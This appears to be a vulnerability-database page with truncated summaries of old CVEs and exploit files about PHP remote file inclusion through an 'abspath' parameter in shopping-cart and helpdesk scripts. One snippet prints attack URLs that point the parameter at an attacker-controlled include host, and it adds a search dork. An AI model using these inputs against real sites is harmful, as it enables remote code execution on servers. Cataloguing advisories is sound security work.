EUVD-2008-0298

Malware in sbrugna...

WordPress Nmedia MailChimp Plugin <= 3.1 - XSS

This plugin is prone to a cross site scripting vulnerability in apimailchimp/postToMailChimp.php abspath parameter. Solution Update the plugin...

Remote file inclusion

PHP remote file inclusion vulnerability in VisionBurst vcart 3.3.2 allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter to 1 index.php and 2 checkout.php...

CVE-2008-0287

PHP remote file inclusion vulnerability in VisionBurst vcart 3.3.2 allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter to 1 index.php and 2 checkout.php...

CVE-2008-0287: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in VisionBurst vcart 3.3.2 allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter to 1 index.php and 2 checkout.php...

vcart-rfi.txt

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Scripts : vcart version 3.3.2 Discovered By : k1n9k0ng Scripts site : http://www.visionburst.com/ Thanks To : sekuritionline, semprol, bajingan, mimid, r.i.p, x-code, yogyafree special To : adhietslank, suka...

american cart 3.* &#40;abs_path&#41; remote file include

american cart 3.5 abspath remote file include script Vendor: http://americancart.us Discovered by: IbnuSina Dork : "powered by american cart" ================= exploitz : http://target.lu/americanpath/index.php?abspath=injekan.lu? http://target.lu/americanpath/checkout.php?abspath=injekan.lu?...

CVE-2007-2474: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Turnkey Web Tools SunShop Shopping Cart 4.0 allow remote attackers to execute arbitrary PHP code via a URL in the abspath parameter to 1 include/payment/payflowpro.php, 2 global.php, or 3 libsecure.php, different vectors than CVE-2007-2070...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in Turnkey Web Tools SunShop Shopping Cart before 3.5.1 allow remote attackers to execute arbitrary PHP code via a URL in the abspath parameter to 1 index.php or 2 checkout.php...

sunshop-rfi.txt

sunshop 4 index.php Remote File Include Vulnerability ----------------------------------------------------------------------------------------- scripts : SunShop v3.5/4.0 Discovered By : irvian scripts site : http://www.turnkeywebtools.com/sunshop/ Thanks To : hitamputih nyubicrew patihack specia...

NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion Vulnerabilities

No description provided by source. +-------------------------------------------------------------------- + + NEWSolved Lite v1.9.2 abspath Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: NEWSolved Lite v1.9.2 maybe above +...

sicherheit_286.txt

+-------------------------------------------------------------------- + + NEWSolved Lite v1.9.2 abspath Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: NEWSolved Lite v1.9.2 maybe above + Venedor ...........:...

CVE-2006-4059: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in USOLVED NEWSolved Lite 1.9.2, and possibly earlier, allow remote attackers to execute arbitrary PHP code via a URL in the abspath parameter to 1 newsscriptlyt.php, 2 newsticker/newsscriptget.php, 3 inc/output/newstheme1.php, 4...

CVE-2006-4052: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Turnkey Web Tools PHP Simple Shop 2.0 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the abspath parameter to 1 admin/index.php, 2 admin/adminindex.php, 3 admin/adminglobal.php, 4 admin/login.php, 5 admin/menu.ph...

CVE-2006-4051: Undefined Security Weakness

PHP remote file inclusion vulnerability in global.php in Turnkey Web Tools PHP Live Helper 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter...

NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ====================================================================== NEWSolved Lite v1.9.2 abspath Remote File Inclusion Vulnerabilities ======================================================================...

WD-TMPLH.txt

!/usr/bin/perl -w PHPLiveHelper 1.8 remote command execution Xploit Discovered & Coded By rUnViRuS World Defacers TeaM WD-members: rUnViRuS - Papipsycho - r3v3ng4ns Details ======= Note : PHPLiveHelper 1.8 is vulnerable too, but its just that you cannot include file remotly...

CVE-2006-1477: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Turnkey Web Tools PHP Live Helper 1.8 allow remote attackers to include and execute arbitrary PHP code via the abspath parameter in 1 initiate.php, 2 waiting.php, 3 welcome.php, 4 admin/index.php, 5 javascript.php, 6 checkchat.php, and 7...